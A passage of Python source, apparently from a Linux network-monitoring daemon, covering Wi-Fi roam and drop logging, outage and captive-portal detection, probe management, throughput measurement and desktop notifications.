kind, lead = "drop", "Dropped by this machine (%s)" % why + down = gap_s if gap_s is not None else follow + text = lead + ", rejoined" + ("" if new == old else " via " + new) + if down is not None and down >= 0.5: + text += " after " + _short_duration(down) + return kind, text + + def sample(self, now, link, traffic_bps=0.0): + # The caller runs twice a second; once a second is plenty here. + if now - self.last_sample < 1.0: + return + self.last_sample = now + + if not link or not link.get("bssid"): + # An empty read is a hiccup until it persists: `iw` times out + # now and then, and treating each blink as a disassociation + # spammed the log with fake re-associations. + self.gap_count += 1 + if self.gap_count == self.GAP_SAMPLES: + self.disassociated = True + self._close_rate_event(now) + self.rate_ceiling = 0.0 + return + self.gap_count = 0 + + since, self.last_link_t = self.last_link_t, now + prev, self.prev = self.prev, dict(link) + bssid = link.get("bssid", "") + prev_bssid = prev.get("bssid", "") if prev else "" + ssid = link.get("ssid", "") + + if prev is None: + # The daemon's first sighting of an existing link is not an + # association — logging it stamped every daemon restart into + # the event log. It is still the moment we learned of this one, + # so the settle window starts here. + self.disassociated = False + self.assoc_since = now + return + + if self.disassociated: + self.disassociated = False + self.assoc_since = now + cause = self._cause(prev_bssid, since, now) + if cause: + # One row for the whole incident: who ended it, how long it + # took to come back, and where. The plain association is + # for gaps nobody claimed — suspend, or no `iw event`. + kind, text = self._blame(cause, prev_bssid, bssid, gap_s=now - since) + self._instant(now, kind, text) + else: + self._instant(now, "associate", "Associated with " + (ssid or bssid)) + elif bssid and prev_bssid and bssid != prev_bssid: + cause = self._cause(prev_bssid, since, now) + kind, lead = self._blame(cause, prev_bssid, bssid) if cause \ + else ("roam", "Roamed to " + bssid) + parts = [lead] + if prev.get("channel") and link.get("channel") \ + and prev["channel"] != link["channel"]: + parts.append("channel %s \u2192 %s" % (prev["channel"], link["channel"])) + if prev.get("signal_dbm") is not None and link.get("signal_dbm") is not None: + parts.append("%s \u2192 %s dBm" % (prev["signal_dbm"], link["signal_dbm"])) + self._instant(now, kind, ", ".join(parts)) + # A different AP has a different honest ceiling, and a different + # band: this is a fresh association as far as measuring goes. + self.rate_ceiling = 0.0 + self.assoc_since = now + self._close_rate_event(now) + elif bssid == prev_bssid and prev.get("channel") and link.get("channel") \ + and prev["channel"] != link["channel"]: + self._instant(now, "channel-change", + "Channel changed %s \u2192 %s on the same AP" + % (prev["channel"], link["channel"])) + + tx = link.get("tx_mbps") + if tx is None or tx <= 0: + return + if (traffic_bps or 0) < self.TRAFFIC_FLOOR_BPS: + # Idle link: whatever bitrate power save negotiated is + # unobservable to the user. Freeze the tracker — and close an + # open drop event, since its duration would otherwise count + # idle time as suffering. + self._close_rate_event(now) + return + # A slowly decaying ceiling: the best rate seen lately, with a + # half-life of a few minutes so an old burst does not set the bar + # forever. Only rates seen under traffic feed it. + self.rate_ceiling = max(tx, self.rate_ceiling * 0.998) + if self.rate_ceiling < 100: + return # too slow a link for a drop to mean anything + if tx < self.rate_ceiling * self.LOW_FRACTION: + self.low_floor = tx if self.low_floor is None else min(self.low_floor, tx) + if self.low_since is None: + self.low_since = now + elif self.rate_event_id is None and now - self.low_since >= self.SUSTAIN_S: + self.rate_event_id = self.store.open_event( + int(self.low_since), "rate-drop", "warn", "local", + "Tx rate dropped to %d Mbps" % round(self.low_floor)) + elif tx >= self.rate_ceiling * self.RECOVER_FRACTION: + self._close_rate_event(now) + + def _close_rate_event(self, now): + if self.rate_event_id is not None: + detail = "Tx rate dropped to %d Mbps" % round(self.low_floor or 0) + self.store.close_event(self.rate_event_id, int(now), detail) + self.rate_event_id = None + self.low_since = None + self.low_floor = None + + +def _short_duration(seconds): + s = int(round(seconds)) + if s < 60: + return "%d s" % max(1, s) + if s < 3600: + return "%d min" % (s // 60) + return "%d h %d min" % (s // 3600, (s % 3600) // 60) + + +class LegState(NamedTuple): + """What a leg's probe stream says right now — see leg_state().""" + ok: bool # the newest sample is a reply + ts: float # timestamp of the newest sample + run_since: object # first lost sample of the trailing run; None when ok + lost: int # lost samples in that run; 0 when ok + + +def leg_state(samples, now: float): + """Read a leg's recent samples into a LegState, or None when the stream + is empty or stale — the probe stopped talking, which is not an outage. + + `samples` are (ts, rtt_or_None, ...) in time order: one Series, or the + MergedSeries of the seated instruments. The trailing run of losses is + the whole question — how long since anything answered, counted from the + first sample that did not. This replaces a rolling "did anything reply + in the last 3 s" window, whose width was silently added to every + threshold built on it. + """ + if not samples: + return None + ts = samples[-1][0] + if now - ts > LEG_STALE_S: + return None + lost, run_since = 0, None + for smp in reversed(samples): + if smp[1] is not None: + break + lost += 1 + run_since = smp[0] + if lost == 0: + return LegState(True, ts, None, 0) + return LegState(False, ts, run_since, lost) + + +class LegWatch: + """Outage state for one leg: how long its stream has been silent, when + that silence became an outage, and what a recovered run looked like.""" + + def __init__(self): + self.down_since = None + self.run_since = None # first lost sample of the current run + self.lost = 0 # lost samples seen in that run + self.blip = None # (from, to) of a run that just recovered + + def sample(self, state: LegState, now: float): + """Returns 'down' / 'up' / 'disruption' on a transition, else None. + + `disruption` is a run that recovered before reaching the outage + threshold. It is reported at recovery rather than at onset because + that is the first moment its length is known, and its length is what + Reliability charges. Both thresholds are seconds of silence on the + stream, from the first lost sample to the first reply after it. + """ + if state.ok: + began, lost = self.run_since, self.lost + self.run_since, self.lost = None, 0 + if self.down_since is not None: + self.down_since = None + return "up" + if (began is not None and lost >= MIN_LOST_SAMPLES + and state.ts - began >= DISRUPTION_AFTER_S): + self.blip = (began, state.ts) + return "disruption" + return None + # The run began when the packets started going missing, not when we + # noticed: keep the earliest start seen for this run. + if self.run_since is None or state.run_since < self.run_since: + self.run_since = state.run_since + self.lost = max(self.lost, state.lost) + if (self.down_since is None and self.lost >= MIN_LOST_SAMPLES + and now - self.run_since >= OUTAGE_AFTER_S): + self.down_since = self.run_since + return "down" + return None + + +class LegArbiter: + """What a leg going quiet MEANS, given whether anything beyond it answered. + + A run of losses on one leg is not the same event as the internet being + gone. The evidence that separates them is already in hand: if anything + past this leg is still answering, packets are crossing it, so it is not + unreachable — it is merely refusing our probes. That opens a warn-toned + "quiet" event (`QUIET_KIND`) instead of an outage: logged, excluded from + outage_stats, no notification, the bar stays calm. Only every path + falling silent opens a real `outage`, which alarms once it has lasted + NOTIFY_AFTER_S. + + Escalation is one-way. If the far side goes quiet too during a quiet + spell, the quiet event closes and a real outage opens, because an outage + that begins mid-spell must still alarm. Nothing walks back the other + way: flapping between verdicts would teach people to ignore both. + + The two legs differ only in wording — which kind, which detail, which + notification — so those are class attributes and the mechanism is shared. + Until 0.2.16 this was two classes that had been copied and string-edited + apart, which is exactly how 0.2.4's gateway-quiet reached the store + correctly and the Events tab not at all: a fix to one copy that missed + the other. + """ + + LEG = None # "wan" | "local" + QUIET_KIND = None # "icmp-quiet" | "gateway-quiet" (names predate the + QUIET_DETAIL = None # bench/arbiter; not worth a stored-value migration) + OUTAGE_DETAIL = None + ALARM = None # (summary, body) when a real outage is declared + RECOVERED = None # (summary, body) when a real outage recovers + + def __init__(self, store, notify): + self.store = store + self.notify = notify + self.event_id = None + self.kind = None # QUIET_KIND | "outage" while down + self._notify_at = None # when the alarm becomes due + self._notified = False # whether it actually fired + + @property + def real_outage(self) -> bool: + return self.kind == "outage" + + def down(self, now, beyond_ok: bool, since=None): + # `since` is when the silence began; the row carries the onset, not + # the tick that crossed the threshold. + began = int(since if since is not None else now) + if beyond_ok: + self.kind = self.QUIET_KIND + self.event_id = self.store.open_event( + began, self.QUIET_KIND, "warn", self.LEG, self.QUIET_DETAIL) + return + self.kind = "outage" + self.event_id = self.store.open_event( + began, "outage", "critical", self.LEG, self.OUTAGE_DETAIL) + # Logged now, alarmed only if it lasts — see NOTIFY_AFTER_S. + self._notify_at = now + NOTIFY_AFTER_S + self._notified = False + + def tick(self, now, beyond_ok: bool): + if self.kind == self.QUIET_KIND and not beyond_ok: + self.store.close_event(self.event_id, int(now)) + self.down(now, False) + return + if (self.kind == "outage" and not self._notified + and self._notify_at is not None and now >= self._notify_at): + self._notified = True + self.notify(self.ALARM[0], self.ALARM[1], True) + + def up(self, now): + if self.event_id is not None: + self.store.close_event(self.event_id, int(now)) + # Only say it came back if we said it went away. A recovery + # notice with no matching alarm is a message about nothing. + if self.kind == "outage" and self._notified: + self.notify(self.RECOVERED[0], self.RECOVERED[1]) + self.event_id = None + self.kind = None + self._notify_at = None + self._notified = False + + +class WanEventArbiter(LegArbiter): + """The internet leg. `beyond_ok` here means some instrument still + answered: an ISP or middlebox that stops answering one probe while + others still flow used to be recorded — notified, charged to Reliability + — as an outage the user never experienced. See LegArbiter.""" + + LEG = "wan" + QUIET_KIND = "icmp-quiet" + QUIET_DETAIL = ("Scored probes went quiet; another instrument on " + "the same path kept answering") + OUTAGE_DETAIL = "router answers, nothing past it does" + ALARM = ("No internet", + "The router answers but nothing past it does — " + "the fault is on the ISP side.") + RECOVERED = ("Internet recovered", "Replies from the internet again.") + + +class LocalEventArbiter(LegArbiter): + """The local leg. `beyond_ok` here means something past the gateway + answered, so packets are crossing it and it is not unreachable — just + refusing pings, which hotel and captive networks routinely do. This is + 0.1.17's wan arbitration applied to the leg it had never covered. See + LegArbiter.""" + + LEG = "local" + QUIET_KIND = "gateway-quiet" + QUIET_DETAIL = ("Router stopped answering pings; traffic through it " + "kept working") + OUTAGE_DETAIL = "router unreachable" + ALARM = ("Router unreachable", + "Nothing on the local network is answering.") + RECOVERED = ("Local network recovered", + "The router is answering again.") + + +class CaptiveWatch: + """Are we behind a sign-in page rather than on the internet? + + A probe reply proves a packet came back; it does not prove what sent it. + So this asks for two things at once and only claims interception when it + has both: something IS answering our probes, and the reachability check + cannot prove the real internet answered. Packets going somewhere, but + not to the internet, is what a captive portal looks like from here. + + Neither half is enough alone. Probes answering with no reachability check + is the state we were in before, and it read as a healthy internet. A + failed check with nothing answering is simply no internet, which the + wan arbiter already handles — calling that "captive" would put a sign-in + prompt in front of a user whose line is down. + + Confirmation takes two consecutive checks, because one failed fetch is a + failed fetch. The decision itself is pure so it can be argued with and + tested; only the fetching is not. + + The fetch runs OFF the loop and on suspicion, not on a clock. `tick()` + starts a check when one is due and collects the result on a later tick; + it never waits. Until 0.2.13 it ran the curl inline every 30 s for as + long as anything answered — i.e. always — which stalled the bar for up + to 8 s on exactly the slow networks this exists for, and cost 2,880 + fetches a day where the WAN-address fetch it duplicated cost 24. Now: a + check on every new network and whenever the internet comes back; every + 30 s only while the last answer was not proof of the internet; hourly + once it was. That hourly check is also where the WAN address comes + from, so the separate fetch is gone. + """ + + # While a sign-in page is suspected, re-check soon. + CHECK_EVERY_S = 30.0 + # Once the real internet has answered, once an hour keeps the address + # fresh and would notice a portal that appears mid-session. + RECHECK_OPEN_S = 3600.0 + CONFIRM_AFTER = 2 + + def __init__(self, check, spawn=None): + self._check = check # injected: () -> {"verdict", "proof"} + # How a check is run. Off the loop by default; tests pass a + # synchronous spawn so the result lands within the same tick. + self._spawn = spawn or self._in_thread + self._lock = threading.Lock() + self._pending = None # (generation, result) awaiting a tick + self._inflight = False + self._gen = 0 # bumped by request(): stale results drop + self.verdict = "unknown" + self.proof = None + self.checked_ts = None + self.strikes = 0 + self._next = 0.0 + self._confirmed = False + + @staticmethod + def _in_thread(fn): + threading.Thread(target=fn, name="reach", daemon=True).start() + + @staticmethod + def captive(verdict: str, probes_answering: bool, strikes: int) -> bool: + """The whole claim, in one place: replies but no proof of internet.""" + return (probes_answering + and verdict in ("intercepted", "silent") + and strikes >= CaptiveWatch.CONFIRM_AFTER) + + @property + def confirmed(self) -> bool: + return self._confirmed + + def request(self): + """A new network, or the internet just came back: start over. + + The old verdict described a different situation, and a check still + in flight for it must not be mistaken for an answer about this one. + """ + self._gen += 1 + self._inflight = False + self._next = 0.0 + self.verdict = "unknown" + self.proof = None + self.strikes = 0 + self._confirmed = False + + def tick(self, now: float, probes_answering: bool): + self._collect(now) + if not probes_answering: + # Nothing is answering at all: not our verdict to make. Drop the + # suspicion rather than carrying it into a real outage. + self.strikes = 0 + self._confirmed = False + return + if self._inflight or now < self._next: + self._confirmed = self.captive( + self.verdict, probes_answering, self.strikes) + return + self._inflight = True + gen = self._gen + self._spawn(lambda: self._run(gen)) + # A synchronous spawn has already delivered; a thread delivers to a + # later tick. + self._collect(now) + + def _run(self, gen: int): + try: + result = self._check() or {"verdict": "silent", "proof": None} + except Exception: + result = {"verdict": "silent", "proof": None} + with self._lock: + self._pending = (gen, result) + self._inflight = False + + def _collect(self, now: float): + with self._lock: + pending, self._pending = self._pending, None + if pending is None: + return + gen, result = pending + if gen != self._gen: + return # answered a question we stopped asking + self.verdict = result.get("verdict") or "silent" + self.proof = result.get("proof") + if self.verdict == "open": + self.strikes = 0 + else: + self.strikes += 1 + self.checked_ts = round(now) + self._next = now + (self.RECHECK_OPEN_S if self.verdict == "open" + else self.CHECK_EVERY_S) + self._confirmed = self.captive(self.verdict, True, self.strikes) + + def snapshot(self) -> dict: + if self.verdict == "unknown": + return None + return {"verdict": self.verdict, "captive": self._confirmed, + "checked_ts": self.checked_ts} + + +class LinkCollector(threading.Thread): + """Reads the local end — route, interface, Wi-Fi link and station — on + its own thread, and keeps the latest snapshot for the loop to read. + + net.snapshot() is three subprocesses (ip, iw link, iw station): about + 10 ms when all is well, and up to their 2 s timeouts EACH when it is + not — a laptop coming out of suspend fails all of them at once, and + the loop that owns the outage watch used to wait for every one, twice + a second. Now it reads a dict. The first snapshot is taken + synchronously in start(), so there is always one to read. + + A snapshot is never "too old" to hand out: if this thread is stuck + behind a wedged `iw`, the loop keeps the last known link, which is + what a timed-out read produced before as well — only now the loop + does not stop for it. + """ + + INTERVAL_S = 0.5 + + def __init__(self, anchor_fn, snapshot_fn=None, interval_s=INTERVAL_S): + super().__init__(name="link", daemon=True) + self._anchor_fn = anchor_fn + self._snapshot = snapshot_fn or net.snapshot + self.interval = interval_s + self._stop = threading.Event() + self._lock = threading.Lock() + self._latest = {} + self.taken_at = 0.0 + + def _take(self): + try: + snap = self._snapshot(self._anchor_fn()) + except Exception: # noqa: BLE001 — a collector never raises into the daemon + return + with self._lock: + self._latest = snap if isinstance(snap, dict) else {} + self.taken_at = time.time() + + def start(self): + self._take() + super().start() + + def run(self): + while not self._stop.wait(self.interval): + self._take() + + def stop(self): + self._stop.set() + + @property + def latest(self) -> dict: + """A copy: callers annotate it (retry_pct) and must not share.""" + with self._lock: + snap = dict(self._latest) + if isinstance(snap.get("station"), dict): + snap["station"] = dict(snap["station"]) + return snap + + +class Daemon: + def __init__(self): + self.state_dir = ensure_state_dir() + ensure_runtime_dir() + self.config = Config(self.state_dir) + self.config.refresh() + self.store = Store(db_path()) + self.local = Series() + # The internet leg is measured by a bench of instruments — see + # instruments.py. Each instrument feeds its own Series; the scored + # series (self.total) is a merged view over whichever two hold the + # seats, so every consumer downstream keeps reading one "internet + # leg". The anchor's ICMP series keeps a name of its own too: the + # minute rows record what ICMP alone would have scored (`lag_icmp`). + self.bench = Bench(self._instrument_pool()) + self._instrument_series = {} + self._instrument_probes = {} + self._new_instrument_series() + self.total = MergedSeries(self._active_series) + self._last_bench_eval = 0.0 + self.probes = [] + self._local_probe = None + # (anchor, interval) the running probes were built from, so a + # settings change is noticed on the next tick — see + # restart_probes_if_settings_changed. + self._probe_settings = None + self.running = True + self.route = {} + # Sliding window of (t, rx, tx) counter samples. Rates are computed + # across the whole window, not tick-to-tick — a half-second sample is + # instantaneous chatter, and displaying it twice a second reads as + # flicker rather than as a number. + self.counter_samples = [] + self.rates = (None, None) # bytes/sec + # Whether the link is carrying real traffic right now. Probes read + # this as each sample lands, which is what separates idle latency + # from latency under load — the gap between them IS bufferbloat. + # Same floor the link-event logic uses, for the same reason: below + # it, Wi-Fi power save makes the link look busy when nobody is. + self.link_loaded = False + # 5-second aux samples riding along in recent.json: throughput and + # signal, so the panel's charts have history the moment they open. + self.aux_ring = deque(maxlen=400) + # Elapsed-time gate for the 5 s flush. It used to be `int(now) % 5 + # == 0`, which is true on BOTH half-second ticks of a qualifying + # second, so the ring filled twice as fast and the Wi-Fi and + # throughput charts held ~17 min under a 30-minute label. + self.last_recent_flush = 0.0 + self.last_signal = None + self.watch_local = LegWatch() + self.watch_wan = LegWatch() + self.wan_events = WanEventArbiter(self.store, self.notify) + self.local_events = LocalEventArbiter(self.store, self.notify) + self.captive = CaptiveWatch(net.reachability) + # Is this connection someone's phone sharing its data? Recomputed + # whenever the route changes, which is the only thing that can + # change the answer. + self.metered = None + # The address this connection appears from — live.json only, never + # recent.json or history: shown, not archived. + self.wan_ip = None + # checked_ts of the reachability result the address came from, so + # one proof is not re-adopted every tick. + self._wan_ip_at = 0 + # Who ended each Wi-Fi association — read from nl80211 via `iw + # event`, unprivileged. Without it the link log still works; it + # just cannot tell a kick from a roam. + self.nl_events = linkevents.NlEvents() + self.link_watch = LinkWatch(self.store, self.nl_events) + # Notify-only: asks origin whether this checkout is behind and + # never touches it. Off when the user turns updateCheck off. + self.update_watch = UpdateWatch(enabled=bool(self.config["updateCheck"])) + self.app_traffic = apps.AppTraffic() + # The local end, read off the loop — see LinkCollector. + self.link = LinkCollector(lambda: self.config["internetAnchor"]) + self.last_apps_poll = 0.0 + self.last_content_test = 0.0 + # Set while a due content check is waiting for the link to settle. + self._check_waiting_since = None + self.last_minute_flush = 0.0 + self.last_rollup = 0.0 + self.peak_requested = threading.Event() + self.peak_running = False + self.content_running = False + self._content_retry_used = False + self._lock_fh = None + + # ------------------------------------------------------------- lifecycle + + def acquire_lock(self) -> bool: + """One daemon per user. The shell service and a systemd unit can both + try to start us; whoever loses the lock just exits quietly. + + The lock file sits at a predictable path, so it is opened without + truncation and without following symlinks — a planted symlink must + fail the open, never redirect a truncation somewhere else — and it + is only ever truncated after this process holds the flock. + """ + try: + fd = os.open(lock_path(), + os.O_RDWR | os.O_CREAT | os.O_NOFOLLOW | os.O_CLOEXEC, + 0o600) + except OSError: + return False + try: + if not stat_module.S_ISREG(os.fstat(fd).st_mode): + os.close(fd) + return False + # The creation mode only applies to new files; a lock file left + # by an older version keeps its old permissions until this. + os.fchmod(fd, 0o600) + fcntl.flock(fd, fcntl.LOCK_EX | fcntl.LOCK_NB) + except OSError: + os.close(fd) + return False + os.ftruncate(fd, 0) + os.write(fd, str(os.getpid()).encode()) + self._lock_fh = os.fdopen(fd, "r+") + return True + + def _instrument_pool(self): + anchor = self.config["internetAnchor"] + return [("icmp-anchor", "icmp", anchor), + ("tcp-anchor", "tcp", "%s:443" % anchor), + ("tcp-cf", "tcp", CF_EDGE_HOST + ":443"), + ("tcp-google", "tcp", DIVERSITY_HOST + ":443")] + + def _new_instrument_series(self): + self._instrument_series = { + key: Series() for key, _, _ in self._instrument_pool()} + # The name the rest of the daemon has always read. + self.icmp_anchor = self._instrument_series["icmp-anchor"] + + def _active_series(self): + return [self._instrument_series[i.key] for i in self.bench.actives() + if i.key in self._instrument_series] + + def _instrument_stats(self, window_s: float = Bench.WINDOW_S): + return {k: Series.stats(v.since(window_s)) + for k, v in self._instrument_series.items()} + + def _apply_seats(self, changes): + interval = int(self.config["probeIntervalMs"]) / 1000.0 + for key, active in changes: + probe = self._instrument_probes.get(key) + if not probe: + continue + kind = self.bench.instruments[key].kind + base = interval if kind == "icmp" else TCP_PROBE_INTERVAL_S + probe.set_interval(base if active else base * STANDBY_FACTOR) + + def start_probes(self): + anchor = self.config["internetAnchor"] + self.route = net.route_to(anchor) + # Answer this before the first content check can be due, not only + # when the route later changes — a daemon started on a hotspot must + # not spend a check to find out it is on one. + self.refresh_metered() + interval = int(self.config["probeIntervalMs"]) + self._probe_settings = (anchor, interval) + gw = self.route.get("gateway", "") + self._local_probe = None + if gw: + p = PingProbe(gw, self.local, interval, "local", + loaded_fn=lambda: self.link_loaded) + p.start() + self.probes.append(p) + self._local_probe = p + for key, kind, target in self._instrument_pool(): + series = self._instrument_series[key] + host = target.rsplit(":", 1)[0] if kind == "tcp" else target + if kind == "icmp": + p = PingProbe(host, series, interval, key, + loaded_fn=lambda: self.link_loaded) + base = interval / 1000.0 + else: + p = TcpProbe(host, series, TCP_PROBE_INTERVAL_S, key, + loaded_fn=lambda: self.link_loaded, + port=TCP_PROBE_PORT) + base = TCP_PROBE_INTERVAL_S + self.bench.instruments[key].target = target + if not self.bench.instruments[key].active: + p.set_interval(base * STANDBY_FACTOR) + p.start() + self.probes.append(p) + self._instrument_probes[key] = p + + def restart_probes_if_route_changed(self): + """New default route (roamed networks, docked, VPN up) — new targets.""" + anchor = self.config["internetAnchor"] + fresh = net.route_to(anchor) + if not fresh.get("gateway"): + # No route at all is an outage, not a different network, and + # resetting on it threw away the one window a user wants + # afterwards — the run-up to the drop. It also fired twice per + # disconnect, once on the way down and once on the way back. + # Nothing new can contaminate the distributions while there is + # no network, so keep them, and keep the probes running: their + # losses are what the outage watch is reading. + return + if fresh.get("gateway") == self.route.get("gateway") and \ + fresh.get("iface") == self.route.get("iface"): + return + self._rebuild_probes(fresh) + + def restart_probes_if_settings_changed(self): + """The anchor or the probe interval changed under us. + + Both used to be read only when probes were built, so a change sat + unapplied until the next network change or restart while the panel + said settings apply live. An interval change is applied in place — + the distributions stay valid, only the cadence moves. A new anchor + rebuilds the probes: half the instruments now point somewhere else, + and their old samples describe a host nobody is measuring any more. + """ + if self._probe_settings is None: + return # probes not started yet + anchor = self.config["internetAnchor"] + interval = int(self.config["probeIntervalMs"]) + if (anchor, interval) == self._probe_settings: + return + if anchor != self._probe_settings[0]: + self._rebuild_probes(net.route_to(anchor)) + return + self._probe_settings = (anchor, interval) + if self._local_probe is not None: + self._local_probe.set_interval(interval / 1000.0) + self._apply_seats([(k, i.active) + for k, i in self.bench.instruments.items()]) + + def _rebuild_probes(self, route: dict): + """Stop every probe and start over against `route`: fresh network, + fresh distributions. The bench keeps its seats — continuity until + the new windows hold enough samples to argue about.""" + for p in self.probes: + p.stop() + self.probes.clear() + self._instrument_probes = {} + self.local = Series() + self._new_instrument_series() + self.route = route + self.counter_samples = [] + # A new route means a new apparent address; drop the stale one + # rather than display it wrong until the next check — and ask for + # that check now: a new network is exactly where a sign-in page is + # likeliest. + self.wan_ip = None + self._wan_ip_at = 0 + self.captive.request() + self.start_probes() + + def stop(self, *_): + self.running = False + + # ------------------------------------------------------------ measuring + + def load_floor_bps(self, now: float) -> float: + """Bytes per second above which this line counts as busy. + + A tenth of what the line has been measured to carry, floored. Read + from the same baseline the Speed score uses — this network's own p90 + download — and cached for a minute, because it moves at content-check + cadence and this is asked twice a second. + """ + cache = getattr(self, "_load_floor_cache", None) + if not cache or now - cache[0] > 60: + snap = self.link.latest if self.link else {} + network = snap.get("ssid") or snap.get("name") or "" + try: + baseline = self.store.baseline_speed(network=network, now=now, + fallback=False) + except Exception: + baseline = None + floor = LOAD_FLOOR_BPS + if baseline: + floor = max(floor, baseline * 1e6 / 8 * LOAD_FRACTION_OF_LINE) + cache = (now, floor) + self._load_floor_cache = cache + return cache[1] + + def throughput(self, now: float, iface: str): + c = net.counters(iface) + if c is None: + self.counter_samples = [] + self.rates = (None, None) + self.link_loaded = False + return + window = max(1, min(30, int(self.config["throughputWindowS"]))) + self.counter_samples.append((now, c[0], c[1])) + cutoff = now - window - 0.25 + while len(self.counter_samples) > 2 and self.counter_samples[0][0] < cutoff: + self.counter_samples.pop(0) + # Hard cap independent of config: the window can never retain more + # than a minute of half-second samples, whatever the file says. + if len(self.counter_samples) > 128: + del self.counter_samples[:len(self.counter_samples) - 128] + if len(self.counter_samples) >= 2: + t0, rx0, tx0 = self.counter_samples[0] + t1, rx1, tx1 = self.counter_samples[-1] + dt = t1 - t0 + if dt > 0 and rx1 >= rx0 and tx1 >= tx0: + self.rates = ((rx1 - rx0) / dt, (tx1 - tx0) / dt) + self.link_loaded = ((self.rates[0] or 0.0) + (self.rates[1] or 0.0) + >= self.load_floor_bps(now)) + else: + # Counter reset (interface bounced) — start the window over. + self.counter_samples = [self.counter_samples[-1]] + + def notify(self, summary: str, body: str, urgent: bool = False): + if not self.config["notifyOutage"]: + return + cmd = None + if shutil.which("omarchy-notification-send"): + cmd = ["omarchy-notification-send", summary, body] + elif shutil.which("notify-send"): + cmd = ["notify-send", "-a", "Nexthop"] + if urgent: + cmd += ["-u", "critical"] + cmd += [summary, body] + if cmd: + try: + subprocess.Popen(cmd, stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL) + except OSError: + pass + + def watch_outages(self, now: float): + """Outage logic on each leg's probe stream (leg_state / LegWatch). + + The wan watch counts silence only when the local leg answered, or + when the gateway is merely quiet (LocalEventArbiter): if the router + is confirmed unreachable, the internet probes' losses say nothing + about the ISP. + + Arbitration is judged on the run itself — did anything beyond the + leg answer DURING the silence — not on a trailing window: a reply + from just before a 1.5 s blip must not vouch for the blip. + """ + local = leg_state(self.local.since(LEG_STREAM_WINDOW_S), now) + total = leg_state(self.total.since(LEG_STREAM_WINDOW_S), now) + local_ok = None if local is None else local.ok + + if local is not None: + move = self.watch_local.sample(local, now) + if move == "down": + # Is anything past the gateway answering? If so the gateway + # is forwarding and merely refuses pings — see + # LocalEventArbiter. + since = self.watch_local.down_since + self.local_events.down( + now, self._any_instrument_replied_between(since, now), since) + elif move == "up": + self.local_events.up(now) + elif move == "disruption": + self.record_disruption("local", self.watch_local) + elif self.watch_local.down_since is not None: + self.local_events.tick( + now, self._any_instrument_alive(OUTAGE_AFTER_S)) + + # The wan watch normally ignores any window where the local leg lost + # packets: if the router is unreachable, the internet probe's losses + # say nothing about the ISP. But a gateway that merely refuses pings + # is "lost" forever, and skipping the wan watch on such a link would + # mean never noticing a real internet outage there. So the skip + # applies to a confirmed local outage, not to a quiet gateway. + gateway_quiet = (self.watch_local.down_since is not None + and not self.local_events.real_outage) + if total is not None and (local_ok is not False or gateway_quiet): + move = self.watch_wan.sample(total, now) + if move == "down": + # Did another instrument keep answering while the seated + # pair fell silent? Samples are stamped at send time, so a + # handshake that merely straddled the moment the line died + # cannot vouch for the window after it. + since = self.watch_wan.down_since + self.wan_events.down( + now, self._any_instrument_replied_between(since, now), since) + elif move == "up": + self.wan_events.up(now) + # The internet is back — or something answering for it is. + # Ask the reachability check now rather than wait its hour. + self.captive.request() + elif move == "disruption": + self.record_disruption("wan", self.watch_wan) + elif self.watch_wan.down_since is not None: + self.wan_events.tick( + now, self._any_instrument_alive(OUTAGE_AFTER_S)) + + def record_disruption(self, leg: str, watch, beyond_ok=None): + """A run that recovered before it became an outage. + + Arbitrated exactly like an outage: if something past this leg kept + answering DURING the run, the leg did not interrupt anything — a + gateway dropping three pings while traffic crosses it is not a + disruption, and logging it would fill the log with noise the user + never felt. `beyond_ok` is computed from the run's own interval + unless a caller supplies it. + """ + if not watch.blip: + return + began, ended = watch.blip + watch.blip = None + if beyond_ok is None: + beyond_ok = self._any_instrument_replied_between(began, ended) + if beyond_ok: + return + # Stored closed, with its duration, because Reliability charges + # interruptions in time. Integer seconds are what the table holds, + # so guarantee a non-zero span: outage_stats drops any row whose + # end is not after its start, and a blip that vanished from the + # score would be worse than one rounded up by a second. + eid = self.store.open_event( + int(began), "disruption", "warn", leg, + "brief interruption, recovered on its own") + self.store.close_event(eid, max(int(ended), int(began) + 1)) + + def _any_instrument_alive(self, window_s: float) -> bool: + """Some instrument — seated or benched — heard the internet this + recently. While a leg is down, the arbiters read this each tick to + decide whether a quiet spell has become an outage.""" + for series in self._instrument_series.values(): + if any(s[1] is not None for s in series.since(window_s)): + return True + return False + + def _any_instrument_replied_between(self, a: float, b: float) -> bool: + """Did some instrument hear the internet during [a, b]? Judged on the + interval itself, so a reply from just before a run of silence cannot + vouch for it — which a trailing window longer than the run would.""" + span = max(0.0, time.time() - a) + 1.0 + for series in self._instrument_series.values(): + for smp in series.since(span): + if smp[1] is not None and a <= smp[0] <= b: + return True + return False + + def adopt_wan_ip(self): + """The address this connection appears from, taken from the + reachability check's proof — the same fetch, so no second request + and no second host learns the address. A check that could not prove + the internet leaves the last answer standing: the route is what + invalidates it, and the route path clears it.""" + proof, checked = self.captive.proof, self.captive.checked_ts + if not proof or not checked or checked == self._wan_ip_at: + return + self._wan_ip_at = checked + self.wan_ip = dict(proof, checked_ts=checked) + + def refresh_metered(self): + """Tethering, or a connection the user has marked metered. + + Two independent signals, and neither is a guess: the gateway sitting + in a range only tethering hands out, and NetworkManager being told + so explicitly. Published so the panel can name the phone instead of + drawing a router, and consulted before anything spends data. + """ + gw = self.route.get("gateway", "") + iface = self.route.get("iface", "") + tether = net.tether_from_gateway(gw) + explicit = net.nm_metered(iface) + if not tether and not explicit: + self.metered = None + return + self.metered = { + "tethered": tether is not None, + "kind": tether["kind"] if tether else "declared", + # What to call the middle node of the path. + "label": tether["label"] if tether else "Metered link", + "explicit": explicit, + } + + def maybe_content_test(self, now: float): + if not self.config["contentSpeed"]: + return + interval = max(15, int(self.config["contentSpeedIntervalMin"])) * 60 + boost_at = getattr(self, "_content_boost_at", None) + due = (now - self.last_content_test >= interval) or \ + (boost_at is not None and now >= boost_at) + if not due: + return + # Skip while down — a failed transfer during an outage is not a + # speed measurement, and skip while another test owns the line. + if self.watch_wan.down_since or self.watch_local.down_since \ + or not self.tests_idle(): + return + # Someone's phone is paying for this. The check is ~14 MB and runs + # hourly, which is around 336 MB a day of a data plan the user did + # not offer. Skipped rather than shrunk: a smaller sample would + # still cost money and would measure worse. Speed then scores None + # on this network, and the index already skips a component it does + # not have rather than inventing one. + if self.metered and self.config["meteredCare"]: + return + + # Wait for a link worth measuring, but not forever — see check_ready. + if not check_ready(now, self.link_watch.assoc_since, + self.link_watch.low_since, + self._check_waiting_since): + if self._check_waiting_since is None: + self._check_waiting_since = now + return + self._check_waiting_since = None + self._content_boost_at = None + self.last_content_test = now + + snap = self.link.latest + network = snap.get("ssid") or snap.get("name") or "" + 